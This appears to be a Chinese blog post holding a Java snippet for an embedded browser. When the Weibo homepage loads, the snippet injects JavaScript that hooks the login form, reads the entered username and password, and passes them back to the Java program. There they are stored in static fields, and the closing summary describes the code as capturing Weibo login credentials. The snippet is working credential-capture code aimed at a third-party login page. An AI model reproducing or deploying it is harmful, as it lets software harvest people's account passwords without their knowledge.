if(e.getNewResourceLocation().equals("http://www.weibo.com/")) {
String script = "function getuser(){"
+ LS
+ "sendNSCommand('getuser',document.getElementsByName('username')[0].value,document.getElementsByName('password')[0].value);"
+ LS
+ "void(0);"
+ LS
+ "}"
+ LS
+ "document.getElementById('pl_login_form').getElementsByTagName('div')[10].getElementsByTagName('a')[0].href=\"javascript:'getuser()'\";"
+ "document.getElementById('pl_login_form').getElementsByTagName('div')[10].getElementsByTagName('a')[0].attachEvent('onclick',getuser);"
+ "alert('请登录!');";
webBrowser.executeJavascript(script);
}
/**
* 浏览器地址监控
*/
class GetuserListener extends WebBrowserAdapter {
@Override
public void commandReceived(WebBrowserCommandEvent e) {
String command = e.getCommand();
Object[] parameters = e.getParameters();
if ("print".equals(command)) {
String html = (String) parameters[0];
System.out.println(html);
}
if ("getuser".equals(command)) {
//获得登录的用户名 密码
Weibo.userName = (String) parameters[0];
Weibo.userPwd = (String) parameters[1];
}
}
}
本文展示了一个通过JavaScript注入方式监听并获取微博登录用户名及密码的过程。利用WebBrowserAdapter类扩展,实现对特定URL(如微博登录页面)的监控,并在用户登录时执行自定义JavaScript代码来捕获登录信息。
1015

被折叠的 条评论
为什么被折叠?



